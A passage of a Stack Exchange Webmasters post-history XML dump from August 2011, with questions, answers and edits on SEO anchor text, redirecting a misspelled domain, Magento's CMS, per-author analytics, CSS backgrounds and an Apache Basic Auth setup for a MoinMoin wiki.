sale - many of the buffer words being extracted from other searches above.&#xD;&#xA;&#xD;&#xA;Wait until I reach good position in serps and then move to another search term and so on.&#xD;&#xA;&#xD;&#xA;Which method do you think is best?&#xD;&#xA;More importantly how would you do it?&#xD;&#xA;" />
  <row Id="44861" PostHistoryTypeId="6" PostId="18450" RevisionGUID="dcfebf06-6324-4f9f-9b71-7693a449ad24" CreationDate="2011-08-19T14:48:01.303" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;keywords&gt;&lt;optimization&gt;" />
  <row Id="44862" PostHistoryTypeId="5" PostId="18450" RevisionGUID="1634648b-b84c-4f3b-8924-bdaf6ac6f600" CreationDate="2011-08-19T14:50:44.047" UserId="7392" Comment="deleted 2 characters in body" Text="Lest say I want to target &quot;used cars&quot; (i know, i know, tough keyword, etc... but this is for the sake of an example)&#xD;&#xA;&#xD;&#xA;Using google keywords webmaster tools, I have a list of keywords:&#xD;&#xA;They are exact phrases and the number is total searches.&#xD;&#xA;&#xD;&#xA;[used cars for sale] 201000     &#xD;&#xA;[used cars ni] 110000   &#xD;&#xA;[used car] 74000    &#xD;&#xA;[used car prices] 60500   &#xD;&#xA;[used cars for sale by owner] 49500   &#xD;&#xA;[used car values] 49500   &#xD;&#xA;[used car sales] 27100   &#xD;&#xA;[buy used cars] 27100   &#xD;&#xA;[used car parts] 27100   &#xD;&#xA;[cheap used cars] 22200  &#xD;&#xA;[used cars uk] 22200  &#xD;&#xA;[used cars for sale uk] 22200  &#xD;&#xA;[best used cars] 18100  &#xD;&#xA;[japanese used cars] 18100  &#xD;&#xA;[used car search] 14800  &#xD;&#xA;[used car dealers] 14800  &#xD;&#xA;[parkers guide to used cars] 14800  &#xD;&#xA;[used car dealerships] 14800  &#xD;&#xA;[parkers used car prices] 12100  &#xD;&#xA;[used cars usa] 12100  &#xD;&#xA;[used cars ireland] 12100  &#xD;&#xA;[used car value] 12100  &#xD;&#xA;[kbb used cars] 9900     &#xD;&#xA;[used car for sale] 9900  &#xD;&#xA;&#xD;&#xA;If you were me, what would you do?&#xD;&#xA;&#xD;&#xA;1. Build trades with all the anchors, and after some time wait for the website to rank for some of them? This is in conjunction to a post I read about a seochat member talking about searching patterns and that is best to target a wide variety of anchors... eventually you will start ranking for lots of keyword combinations.&#xD;&#xA;This way the site also obtains a natural linking profile, especially combining with url only anchors, click here, etc.&#xD;&#xA;&#xD;&#xA;2. This is what I am inclined to do:&#xD;&#xA;Get the easiest keyword, least competitive. I haven-t done any competition study but lets assume for the sake of the example that the least competitive term is the one with &#xD;&#xA;the least number of searches, used car for sale.&#xD;&#xA;Build links only with this keyword but add some buffer words for keyword diversity like:&#xD;&#xA;UK used car for sale, best used car for sale, buy used car for sale - many of the buffer words being extracted from other searches above.&#xD;&#xA;Wait until I reach good position in serps and then move to another search term and so on.&#xD;&#xA;&#xD;&#xA;Which method do you think is best?&#xD;&#xA;More importantly how would you do it?&#xD;&#xA;" />
  <row Id="44863" PostHistoryTypeId="2" PostId="18451" RevisionGUID="c157edca-74d5-44d5-97f3-132161a5084a" CreationDate="2011-08-19T14:55:14.030" UserId="1253" Text="1. Don't trade links. Besides the fact that those links have virtually no value, you run the risk of linking to a bad neighborhood. Doing so can mean your site being penalized or banned.&#xD;&#xA;&#xD;&#xA;2. Quality links are earned and not requested. So you really won't have any direct control over the anchor text of those links. You can attempt to influence the anchor text of those links with good page titles as they are what is most commonly used as anchor text in links.&#xD;&#xA;&#xD;&#xA;3. Targeting easier keywords (i.e. those not searched for frequently) is a good idea when getting a website started for three reasons: 1. you can achieve good rankings relatively quickly 2. Your traffic is very targeted. This can be a great way to find other webmasters who are looking for quality content to link to. 3. You can rank well for more then one keyword or phrase and by targeting easier keywords you are also optimizing for more general keywords as well as they are going to be present in your content.&#xD;&#xA;" />
  <row Id="44864" PostHistoryTypeId="17" PostId="18452" RevisionGUID="d4998a33-4273-4aae-b079-479b36b9d0ab" CreationDate="2011-08-19T14:57:06.250" UserId="-1" Comment="from http://stackoverflow.com/questions/7120039/domain-name-with-two-possible-spellings" Text="" />
  <row Id="44865" PostHistoryTypeId="2" PostId="18453" RevisionGUID="c13d24fe-0617-4676-9d28-9682a69b8a73" CreationDate="2011-08-19T10:14:43.460" UserId="9543" Text="Redirect the secondary domain to the main one using a permanent redirect:&#xD;&#xA;&#xD;&#xA;	&lt;?php&#xD;&#xA;	// Permanent redirection&#xD;&#xA;	header(&quot;HTTP/1.1 301 Moved Permanently&quot;);&#xD;&#xA;	header(&quot;Location: http://www.example.com/&quot;);&#xD;&#xA;	exit();&#xD;&#xA;	?&gt;&#xD;&#xA;&#xD;&#xA;That won't affect your Google page rank.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;You should probably choose one main spelling and use that throughout the website. I wouldn't advise to change the spelling in the content depending on the domain name, because Google might detect that as duplicate content (which it is), which might negatively affect your page rank. Google probably matches &quot;micheal flatley&quot; to &quot;michael flatley&quot; automatically anyway, and the permanent redirect provides an additional clue." />
  <row Id="44866" PostHistoryTypeId="2" PostId="18452" RevisionGUID="f31e7b5f-58f1-48c9-a32f-269311584dc6" CreationDate="2011-08-19T10:07:49.420" UserDisplayName="sooty" Text="What's the best approach to take for google ranking if your domain name has two possible spellings?&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;mich**ea**lflatley.com (Irish spelling) &amp; mich**ae**lflatley.com (Normal spelling)&#xD;&#xA;&#xD;&#xA;I want someone to be able to search google with both spellings if possible. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="44867" PostHistoryTypeId="1" PostId="18452" RevisionGUID="f31e7b5f-58f1-48c9-a32f-269311584dc6" CreationDate="2011-08-19T10:07:49.420" UserDisplayName="sooty" Text="domain name with two possible spellings" />
  <row Id="44868" PostHistoryTypeId="3" PostId="18452" RevisionGUID="f31e7b5f-58f1-48c9-a32f-269311584dc6" CreationDate="2011-08-19T10:07:49.420" UserDisplayName="sooty" Text="&lt;web-development&gt;&lt;seo&gt;" />
  <row Id="44869" PostHistoryTypeId="17" PostId="18453" RevisionGUID="0ab2c2b8-c2c3-4926-b2dc-ab2e47e219e1" CreationDate="2011-08-19T14:57:06.250" UserId="-1" Comment="from http://stackoverflow.com/questions/7120039/domain-name-with-two-possible-spellings" Text="" />
  <row Id="44870" PostHistoryTypeId="17" PostId="18454" RevisionGUID="7357a586-1a34-4c77-9aab-b88e33e7a752" CreationDate="2011-08-19T14:57:06.250" UserId="-1" Comment="from http://stackoverflow.com/questions/7120039/domain-name-with-two-possible-spellings" Text="" />
  <row Id="44871" PostHistoryTypeId="2" PostId="18454" RevisionGUID="17b06146-2342-4126-acbe-458c627c727f" CreationDate="2011-08-19T10:28:44.630" UserId="3940" Text="In any case you should just have one domain name as the main domain name: the more common one for your target audience (the other one should be permanently redirected) which is most likely the more common one in the Google index as well. You should avoid &quot;duplicate content&quot;.&#xD;&#xA;&#xD;&#xA;If one is searching for a common name (or term) with two possible spellings, Google will usually take care of that and suggest the more common version (for example if you search for &quot;flatly&quot; it will suggest &quot;Did you mean 'flatley'?&quot;).&#xD;&#xA;&#xD;&#xA;If you expect people to search for both possible spellings for less common words, those that Google doesn't map both ways, it's not only a matter of domain names but of what's on the website, so I'd make sure to include both spellings in important positions on the page." />
  <row Id="44872" PostHistoryTypeId="5" PostId="18449" RevisionGUID="a9731ac5-7304-44c1-8ac7-4c4a7fc8990c" CreationDate="2011-08-19T14:57:19.970" UserId="1253" Comment="minor text edits" Text="Some of you may have seen [my previous question][1] where I was asking how websites that don't offer especially 'interesting' content go about link building - particularly in the case of e-commerce. The general outcome was that should webmasters want their 'boring' (but useful) websites to go out of their way and create interesting 'linkbait/worthy' content.&#xD;&#xA;&#xD;&#xA;Now, the question:&#xD;&#xA;&#xD;&#xA;In light of the response to my question, I'm going about making my company's online store more interesting. Part of this operation involves creating a fairly large base of relevant content to the products on offer (probably hundreds if not thousands of pages by the time (lots of time..) we're done). **Should I use Magento's built-in CMS to handle my pages or should I look at integrating another cms?** - I'm not interested in implementing a 'blogging' platform as that will come later on.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/18291/how-do-you-do-seo-past-on-page-optimization" />
  <row Id="44873" PostHistoryTypeId="2" PostId="18455" RevisionGUID="bfc4de77-3fbb-45bc-94de-8a91b103be93" CreationDate="2011-08-19T15:00:40.757" UserId="1953" Text="I'd be interested in this as well. I think a makeshift solution could be done through Google Analytics, simply append a tracking ID to each article that relates to an author then you should be able to get a report that shows traffic by author in you GA account. The tracking ID could presumably be auto appended without requiring programming via the URL settings in your admin (if you're using Wordpress).&#xD;&#xA;&#xD;&#xA;**Note this is just theory and hasn't been tested**" />
  <row Id="44874" PostHistoryTypeId="2" PostId="18456" RevisionGUID="56b09162-c229-404d-8fbd-3b26e7455409" CreationDate="2011-08-19T15:01:01.170" UserId="1253" Text="If the CMS functionality built into Magento meets your content management needs then use it. Having to install and maintain another piece of software just means more work for you. This especially holds true if security issues are found within the other CMS. You have two pieces of software that you must follow security updates for instead of one." />
  <row Id="44875" PostHistoryTypeId="5" PostId="18452" RevisionGUID="f36c9038-a9bd-4278-a1a5-a92a91908795" CreationDate="2011-08-19T15:01:51.997" UserId="1253" Comment="modified tags, minor text edits" Text="What's the best approach to take for Google ranking if your domain name has two possible spellings?&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;mich**ea**lflatley.com (Irish spelling) &amp; mich**ae**lflatley.com (Normal spelling)&#xD;&#xA;&#xD;&#xA;I want someone to be able to search google with both spellings if possible. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="44876" PostHistoryTypeId="4" PostId="18452" RevisionGUID="f36c9038-a9bd-4278-a1a5-a92a91908795" CreationDate="2011-08-19T15:01:51.997" UserId="1253" Comment="modified tags, minor text edits" Text="Domain name with two possible spellings" />
  <row Id="44877" PostHistoryTypeId="6" PostId="18452" RevisionGUID="f36c9038-a9bd-4278-a1a5-a92a91908795" CreationDate="2011-08-19T15:01:51.997" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;domain-names&gt;" />
  <row Id="44878" PostHistoryTypeId="5" PostId="18444" RevisionGUID="b8232d4f-88de-4f53-89f6-87973215061c" CreationDate="2011-08-19T15:03:05.147" UserId="1253" Comment="deleted 8 characters in body" Text="I was wondering is it possible to run apache with mod_wsgi and mod_php running together to serve python and php pages?&#xD;&#xA;&#xD;&#xA;If so were can I find info on doing this?&#xD;&#xA;" />
  <row Id="44879" PostHistoryTypeId="14" PostId="18444" RevisionGUID="fd84e69a-c567-4ade-b0a6-df1a744c9401" CreationDate="2011-08-19T15:03:14.350" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="44880" PostHistoryTypeId="17" PostId="18444" RevisionGUID="78776fa0-8591-4c5d-a11c-4599d75138c5" CreationDate="2011-08-19T15:03:14.367" UserId="1253" Comment="to http://serverfault.com/questions/303061/mod-wsgi-and-mod-php-running-together-possible" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="44881" PostHistoryTypeId="10" PostId="18444" RevisionGUID="7100004c-86aa-4599-8a72-4c58a18ea58c" CreationDate="2011-08-19T15:03:13.053" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="44882" PostHistoryTypeId="10" PostId="18438" RevisionGUID="0c6bcc8f-1eb8-490c-965b-0fbeea7e4d45" CreationDate="2011-08-19T15:03:35.240" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="44886" PostHistoryTypeId="2" PostId="18457" RevisionGUID="48985b3e-313d-4c1e-a0f0-e49f6efd38d9" CreationDate="2011-08-19T15:07:54.127" UserId="8009" Text="I'd say that provided Google has indexed you (which if you're using Google webmaster tools and have submitted a sitemap it most likely will have), ***just keep updating your site with content and to wait.*** Of course you can post in topic-relevant forums with a signature or profile link to your site, but I would recommend doing so out of genuine interest rather than littering other people's communities with spam." />
  <row Id="44887" PostHistoryTypeId="2" PostId="18458" RevisionGUID="80b54ae0-3bdb-410f-bf44-b54111dc0fc3" CreationDate="2011-08-19T15:26:07.110" UserId="9123" Text="How would you go about applying a background color with CSS only, while only applying the color to visible text.&#xD;&#xA;&#xD;&#xA;I am trying to achieve the following:&#xD;&#xA;&#xD;&#xA;    &lt;div style=&quot;width:200px;background-color:white;&quot;&gt;&#xD;&#xA;    &lt;p style=&quot;background-color:red;color:black;&quot;&gt;This text is longer than 200 pixel and therefore a line break will occur&lt;/p&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Unfortunately the background is applied to the full with of the &lt;p&gt;-tag and not ending with the last character before the line break occurs. On the side note, I am NOT able to line break the displayed text manually.&#xD;&#xA;&#xD;&#xA;So if the output the above would look like this:&#xD;&#xA;&#xD;&#xA;    ----------this line is exactly 200px----------&#xD;&#xA;    This text is longer than 200 pixel and&#xD;&#xA;    therefore a line break will occur&#xD;&#xA;    ----------------------------------------------&#xD;&#xA;&#xD;&#xA;So the background-color should end with the word &quot;and&quot; on the first line and end with the word &quot;occur&quot; on the second line, leaving the background of the &lt;div&gt; white.&#xD;&#xA;&#xD;&#xA;I am really pulling my hair out and would love to get input if this is even possible without manually setting line breaks? I'd go with a javascript solution too, but prefer a css only one.&#xD;&#xA;&#xD;&#xA;Thanks a lot Everybody!" />
  <row Id="44888" PostHistoryTypeId="1" PostId="18458" RevisionGUID="80b54ae0-3bdb-410f-bf44-b54111dc0fc3" CreationDate="2011-08-19T15:26:07.110" UserId="9123" Text="Set background color through CSS for text only with line breaks" />
  <row Id="44889" PostHistoryTypeId="3" PostId="18458" RevisionGUID="80b54ae0-3bdb-410f-bf44-b54111dc0fc3" CreationDate="2011-08-19T15:26:07.110" UserId="9123" Text="&lt;css&gt;&lt;css3&gt;" />
  <row Id="44890" PostHistoryTypeId="25" PostId="18446" RevisionGUID="5aa17c42-eebb-4209-92f1-8613361181c8" CreationDate="2011-08-19T15:34:56.753" Comment="http://twitter.com/#!/StackWebmasters/status/104577093949595648" />
  <row Id="44891" PostHistoryTypeId="5" PostId="18458" RevisionGUID="ce8c52bc-1f85-4cdc-8059-336dfb2287c3" CreationDate="2011-08-19T15:35:35.443" UserId="1253" Comment="deleted 25 characters in body" Text="How would you go about applying a background color with CSS only, while only applying the color to visible text.&#xD;&#xA;&#xD;&#xA;I am trying to achieve the following:&#xD;&#xA;&#xD;&#xA;    &lt;div style=&quot;width:200px;background-color:white;&quot;&gt;&#xD;&#xA;    &lt;p style=&quot;background-color:red;color:black;&quot;&gt;This text is longer than 200 pixel and therefore a line break will occur&lt;/p&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Unfortunately the background is applied to the full with of the &lt;p&gt;-tag and not ending with the last character before the line break occurs. On the side note, I am NOT able to line break the displayed text manually.&#xD;&#xA;&#xD;&#xA;So if the output the above would look like this:&#xD;&#xA;&#xD;&#xA;    ----------this line is exactly 200px----------&#xD;&#xA;    This text is longer than 200 pixel and&#xD;&#xA;    therefore a line break will occur&#xD;&#xA;    ----------------------------------------------&#xD;&#xA;&#xD;&#xA;So the background-color should end with the word &quot;and&quot; on the first line and end with the word &quot;occur&quot; on the second line, leaving the background of the &lt;div&gt; white.&#xD;&#xA;&#xD;&#xA;I am really pulling my hair out and would love to get input if this is even possible without manually setting line breaks? I'd go with a javascript solution too, but prefer a css only one.&#xD;&#xA;" />
  <row Id="44892" PostHistoryTypeId="14" PostId="18458" RevisionGUID="1d358f2e-3b20-4418-bc1c-c63be93d7ed3" CreationDate="2011-08-19T15:35:40.373" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="44893" PostHistoryTypeId="17" PostId="18458" RevisionGUID="24515b5c-dd5a-4a54-ab96-64e525c26727" CreationDate="2011-08-19T15:35:40.373" UserId="1253" Comment="to http://stackoverflow.com/questions/7123997/set-background-color-through-css-for-text-only-with-line-breaks" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="44894" PostHistoryTypeId="10" PostId="18458" RevisionGUID="8309c07e-0f40-44d6-87af-1d94a4b27011" CreationDate="2011-08-19T15:35:40.343" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="44895" PostHistoryTypeId="2" PostId="18459" RevisionGUID="d9e58bcb-cdab-4d62-83f9-ca66e6080808" CreationDate="2011-08-19T15:37:29.543" UserId="4502" Text="Most applications don't bother tracking traffic at all, since there are dedicated analytics or applications packages that will pretty much always do it better.&#xD;&#xA;&#xD;&#xA;There's a decent chance you're already using Google Analytics, though, and this can be done with it without too much work, using &lt;a href=&quot;http://code.google.com/apis/analytics/docs/tracking/gaTrackingCustomVariables.html&quot;&gt;custom variables&lt;/a&gt;. (Basically `_gaq.push(['_setCustomVar',1,'author','AUTHORNAME']);`)   &#xD;&#xA;Then you'd just need to check the report at whatever interval you want to figure out the bonuses.&#xD;&#xA;&#xD;&#xA;It seems like you probably don't want to mess with the GA code yourself. &lt;a href=&quot;http://yoast.com/wordpress/google-analytics/&quot;&gt;Yoast's Google Analytics plugin&lt;/a&gt; will set that up for you with a toggle, along with options for tracking a lot of other things you might also find you're interested in. It covers a lot of stuff, so here's a &lt;a href=&quot;http://www.youtube.com/watch?v=dx7HvzqDhfg&quot;&gt;screencast&lt;/a&gt; covering this particular function, along with where to go within GA to actually view the per-author tracking data.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingCustomVariables.html" />
  <row Id="44896" PostHistoryTypeId="6" PostId="18446" RevisionGUID="34065867-8239-4428-81e4-039caa821f6a" CreationDate="2011-08-19T15:39:08.197" UserId="4502" Comment="edited tags" Text="&lt;wordpress&gt;&lt;blog&gt;&lt;analytics&gt;&lt;tracking&gt;" />
  <row Id="44897" PostHistoryTypeId="2" PostId="18460" RevisionGUID="a43edf2b-4e57-46fb-aeed-715a2acdb4d8" CreationDate="2011-08-19T15:45:20.077" UserId="269" Text="I think the easiest way to do this would be to tie it to some sort of advertising system (of course maybe I just think this way because I built an advertising system). Ad systems are built to track impressions and a number of them will break that up based on the site that it came from. You could then reward the individual bloggers based on the number of impressions they generated a month. &#xD;&#xA;&#xD;&#xA;This is assuming you are actually selling advertising on your site." />
  <row Id="44898" PostHistoryTypeId="5" PostId="18430" RevisionGUID="bab8ff85-c813-45c9-a9c3-f8c50a056ffc" CreationDate="2011-08-19T15:47:02.177" UserId="2029" Comment="added 61 characters in body" Text="I have set up a private [MoinMoin][1] wiki, accessed through HTTPS, but I cannot get Basic HTTP Authentication to work on it.  I have it working on another site, using a similar vhosts file, so I cannot figure out what I am doing wrong.&#xD;&#xA;&#xD;&#xA;When accessing the site, the connection gets redirected to HTTPS, as intended, but there is no request for authentication credentials.  &#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost 00.00.00.00:80&gt;&#xD;&#xA;            ServerName wiki.mysite.net&#xD;&#xA;            Redirect 301 / https://wiki.mysite.net&#xD;&#xA;            CustomLog /var/log/apache2/access.log combined&#xD;&#xA;            ErrorLog /var/log/apache2/error.log&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost 00.00.00.00:443&gt;&#xD;&#xA;            ServerName      wiki.mysite.net&#xD;&#xA;            DocumentRoot    /var/www/mywiki/&#xD;&#xA;                    &#xD;&#xA;            ### Serve static contents (images, javascript, css...) ###&#xD;&#xA;            AliasMatch &quot;^/moin_static[0-9]*/applets/FCKeditor/(.*)&quot; &quot;/usr/share/fckeditor/$1&quot;&#xD;&#xA;            &lt;Directory &quot;/usr/share/fckeditor/&quot;&gt;&#xD;&#xA;                    Options None&#xD;&#xA;                    AllowOverride&#xD;&#xA;            &lt;/Directory&gt;&#xD;&#xA;                                                                    &#xD;&#xA;            # The path to static contents changes (named after moinmoin version).&#xD;&#xA;            AliasMatch &quot;^/moin_static[0-9]*/(.*)&quot; &quot;/usr/share/moin/htdocs/$1&quot;&#xD;&#xA;            &lt;Directory &quot;/usr/share/moin/htdocs/&quot;&gt;&#xD;&#xA;                    Options -Indexes -FollowSymlinks&#xD;&#xA;                    AllowOverride None&#xD;&#xA;            &lt;/Directory&gt;&#xD;&#xA;            &#xD;&#xA;            Alias /robots.txt /usr/share/moin/htdocs/robots.txt&#xD;&#xA;            Alias /favicon.ico /usr/share/moin/htdocs/favicon.ico&#xD;&#xA;            &#xD;&#xA;            WSGIDaemonProcess mywiki user=www-data group=www-data processes=4 display-name=moin-wsgi-mywiki&#xD;&#xA;            WSGIProcessGroup mywiki&#xD;&#xA;            WSGIScriptAlias / &quot;/usr/share/moin/server/moin.wsgi&quot;&#xD;&#xA;            # WSGIPassAuthorization On&#xD;&#xA;            # Read: http://moinmo.in/HowTo/ApacheWithModWSGI&#xD;&#xA;            &#xD;&#xA;            &lt;Proxy *&gt;&#xD;&#xA;                    AuthUserFile    /var/www/.htpasswd&#xD;&#xA;                    AuthName        EnterPassword&#xD;&#xA;                    AuthType        Basic&#xD;&#xA;                    require         valid-user&#xD;&#xA;                    Order           Deny,allow&#xD;&#xA;                    Allow           from all&#xD;&#xA;            &lt;/Proxy&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://moinmo.in/" />
  <row Id="44899" PostHistoryTypeId="5" PostId="18459" RevisionGUID="79a5b20d-0e6d-438a-b4ab-dfbe7b88b2bf" CreationDate="2011-08-19T15:47:39.853" UserId="4502" Comment="deleted 19 characters in body" Text="Most applications don't bother tracking traffic at all, since there are dedicated analytics tools that will pretty much always do it better.&#xD;&#xA;&#xD;&#xA;There's a decent chance you're already using Google Analytics, though, and this can be done with it without too much work, using &lt;a href=&quot;http://code.google.com/apis/analytics/docs/tracking/gaTrackingCustomVariables.html&quot;&gt;custom variables&lt;/a&gt;. (Basically `_gaq.push(['_setCustomVar',1,'author','AUTHORNAME']);`)   &#xD;&#xA;Then you'd just need to check the report at whatever interval you want to figure out the bonuses.&#xD;&#xA;&#xD;&#xA;It seems like you probably don't want to mess with the GA code yourself. &lt;a href=&quot;http://yoast.com/wordpress/google-analytics/&quot;&gt;Yoast's Google Analytics plugin&lt;/a&gt; will set that up for you with a toggle, along with options for tracking a lot of other things you might also find you're interested in. It covers a lot of stuff, so here's a &lt;a href=&quot;http://www.youtube.com/watch?v=dx7HvzqDhfg&quot;&gt;screencast&lt;/a&gt; covering this particular function, along with where to go within GA to actually view the per-author tracking data.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingCustomVariables.html" />
  <row Id="44900" PostHistoryTypeId="5" PostId="18449" RevisionGUID="a41b823f-9a79-4c35-8649-6b2f76e41cfb" CreationDate="2011-08-19T15:48:28.897" UserId="8009" Comment="added 79 characters in body" Text="Some of you may have seen [my previous question][1] where I was asking how websites that don't offer especially 'interesting' content go about link building - particularly in the case of e-commerce. The general outcome was that should webmasters want their 'boring' (but useful) websites to go out of their way and create interesting 'linkbait/worthy' content.&#xD;&#xA;&#xD;&#xA;Now, the question:&#xD;&#xA;&#xD;&#xA;In light of the response to my question, I'm going about making my company's online store more interesting. Part of this operation involves creating a fairly large base of relevant content to the products on offer (probably hundreds if not thousands of pages by the time (lots of time..) we're done). **Should I use Magento's built-in CMS to handle my pages or should I look at integrating another cms?** - I'm not interested in implementing a 'blogging' platform as that will come later on.&#xD;&#xA;&#xD;&#xA;Edit: Should have mentioned, I'm using the community edition at the moment.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/18291/how-do-you-do-seo-past-on-page-optimization" />
  <row Id="44901" PostHistoryTypeId="5" PostId="18430" RevisionGUID="c0b3d413-b21e-47a7-a328-3c4771aded00" CreationDate="2011-08-19T15:57:03.657" UserId="2029" Comment="added 195 characters in body" Text="I have set up a private [MoinMoin][1] wiki, accessed through HTTPS, but I cannot get Basic HTTP Authentication to work on it.  I have it working on another site, using a similar vhosts file, so I cannot figure out what I am doing wrong.&#xD;&#xA;&#xD;&#xA;When accessing the site, the connection gets redirected to HTTPS, as intended, but there is no request for authentication credentials.&#xD;&#xA;&#xD;&#xA;Nothing relevant seems to be appearing in the access log or error log either, which is strange.  I am not sure if MoinMoin sites keep their own logs, but I have defined logs in the vhosts file.&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost 00.00.00.00:80&gt;&#xD;&#xA;            ServerName wiki.mysite.net&#xD;&#xA;            Redirect 301 / https://wiki.mysite.net&#xD;&#xA;            CustomLog /var/log/apache2/access.log combined&#xD;&#xA;            ErrorLog /var/log/apache2/error.log&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost 00.00.00.00:443&gt;&#xD;&#xA;            ServerName      wiki.mysite.net&#xD;&#xA;            DocumentRoot    /var/www/mywiki/&#xD;&#xA;                    &#xD;&#xA;            ### Serve static contents (images, javascript, css...) ###&#xD;&#xA;            AliasMatch &quot;^/moin_static[0-9]*/applets/FCKeditor/(.*)&quot; &quot;/usr/share/fckeditor/$1&quot;&#xD;&#xA;            &lt;Directory &quot;/usr/share/fckeditor/&quot;&gt;&#xD;&#xA;                    Options None&#xD;&#xA;                    AllowOverride&#xD;&#xA;            &lt;/Directory&gt;&#xD;&#xA;                                                                    &#xD;&#xA;            # The path to static contents changes (named after moinmoin version).&#xD;&#xA;            AliasMatch &quot;^/moin_static[0-9]*/(.*)&quot; &quot;/usr/share/moin/htdocs/$1&quot;&#xD;&#xA;            &lt;Directory &quot;/usr/share/moin/htdocs/&quot;&gt;&#xD;&#xA;                    Options -Indexes -FollowSymlinks&#xD;&#xA;                    AllowOverride None&#xD;&#xA;            &lt;/Directory&gt;&#xD;&#xA;            &#xD;&#xA;            Alias /robots.txt /usr/share/moin/htdocs/robots.txt&#xD;&#xA;            Alias /favicon.ico /usr/share/moin/htdocs/favicon.ico&#xD;&#xA;            &#xD;&#xA;            WSGIDaemonProcess mywiki user=www-data group=www-data processes=4 display-name=moin-wsgi-mywiki&#xD;&#xA;            WSGIProcessGroup mywiki&#xD;&#xA;            WSGIScriptAlias / &quot;/usr/share/moin/server/moin.wsgi&quot;&#xD;&#xA;            # WSGIPassAuthorization On&#xD;&#xA;            # Read: http://moinmo.in/HowTo/ApacheWithModWSGI&#xD;&#xA;            &#xD;&#xA;            &lt;Proxy *&gt;&#xD;&#xA;                    AuthUserFile    /var/www/.htpasswd&#xD;&#xA;                    AuthName        EnterPassword&#xD;&#xA;                    AuthType        Basic&#xD;&#xA;                    require         valid-user&#xD;&#xA;                    Order           Deny,allow&#xD;&#xA;                    Allow           from all&#xD;&#xA;            &lt;/Proxy&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://moinmo.in/" />
  <row Id="44902" PostHistoryTypeId="2" PostId="18461" RevisionGUID="0416c7bd-5e30-4c19-87f0-eac580608d96" CreationDate="2011-08-19T16:00:48.033" UserId="6033" Text="**It depends on your future plans**&#xD;&#xA;&#xD;&#xA;If you're going to upgrade to the Enterprise edition, then use the built-in CMS. One of the reasons to upgrade to enterprise is the enhanced CMS functionality (I haven't used it enough to give a thorough recommendation however) . If you use a different CMS software, it'll be an additional headache to move to the Magento Enterprise CMS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're not going to upgrade I'd look at other CMS software, because there's a lot out there that's better than the built-in community edition CMS. [Magento connect][1] offers a lot of additional plugins for community edition however, and you might find something in there that suits your needs and allows you to keep everything in magento. &#xD;&#xA;&#xD;&#xA;You should plan out your content strategy first then make a decision on what you really need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/magento-connect" />
  <row Id="44903" PostHistoryTypeId="2" PostId="18462" RevisionGUID="b661a957-80b0-4475-83f5-37b0826b9ea5" CreationDate="2011-08-19T16:10:21.143" UserId="1953" Text="Looking at the content you have on your site (Hiking events/meetups and trail cleanups). An easy way to get links/promotion would be to give your users an easy way to promote the event they just created (give them a copy and paste embed option for their own site, and or create a wordpress plugin that allows them to have new events auto posted on their sites). &#xD;&#xA;&#xD;&#xA;If you don't have many users do research on clubs/organizations already planning trips, but not using another tool to effectively create events and contact them to see if a plugin or embedable version would be helpful to them and if they're interested can they join the test group (this will build your user base and help you build a better experience for your users).&#xD;&#xA;&#xD;&#xA;Another option would be to look for groups that would likely want to help out and promote your trail cleanups. Contact them and let them know about the event and make it easy for them to promote to their members if their interested. This will be great for your users because it will generate more people at their event, and it will help get the word out about your site.&#xD;&#xA;&#xD;&#xA;Those are the ideas off the top of my head, but if you take some time and think about the opportunities are plentiful." />
